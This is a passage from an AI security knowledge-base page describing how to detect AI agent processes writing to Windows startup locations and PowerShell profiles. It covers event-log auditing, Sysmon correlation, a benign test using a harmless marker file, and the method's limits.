Files that already exist. To see appends on Windows, turn on object-access auditing for those files: a SACL entry on each watched file for write and append access makes Windows log Security event 4663, which names the writing process in Process Name and its ID, in hexadecimal, in Process ID (event 4663). It names no parent. When the writer is the AI host itself, that is enough. When it is a shell, match the process ID and time to the Sysmon process-start record in your SIEM and follow the chain from there; the script above does not read Security events. Where object-access auditing is not available, compare the hash of each watched file on a schedule and report changes; that tells you the file changed, not who changed it.

Step 3: Test both cases, and an append

On a test machine, have the AI client create a harmless marker file, for example aidefend-test.txt, in the per-user Startup folder, once through its own file tool and once through a shell command it runs. The first must produce a finding from the rule in Step 1 and the second a finding from the script in Step 2, and each must name the AI client. Then have it append a comment line to an existing PowerShell profile in a test account: this must produce a finding from whichever append method you chose, and Sysmon alone will not produce one. Delete the marker and the line afterwards. Then create the same file from a terminal that the AI client did not start: both must stay silent. Repeat for each AI host type.

Limits

The finding arrives after the write. A developer who asks the agent to edit their own shell profile produces the same event, so route findings to triage with the path and the client named. Removing what was planted is AID-E-003.003, and stopping the write is the job of the file-path confinement in AID-H-018.009 and the sandbox in AID-I-001.002.

Open-source tools

Source-available / open-weight tools

Commercial / hosted tools

Threat mappings

MITRE ATLAS

MAESTRO

OWASP LLM Top 10 2026

OWASP ML Top 10 2023

OWASP Top 10 for Agentic Applications 2026

NIST Adversarial Machine Learning 2025

Cisco Integrated AI Security and Safety Framework

Google Secure AI Framework 2.0 - Risks

Databricks AI Security Framework 3.0

AID-D-005.012: AI Host Process Lineage & Persistence-Write Detection | AIDEFEND

Loading interactive view…

A Practical Knowledge Base for AI Security Defenses

Version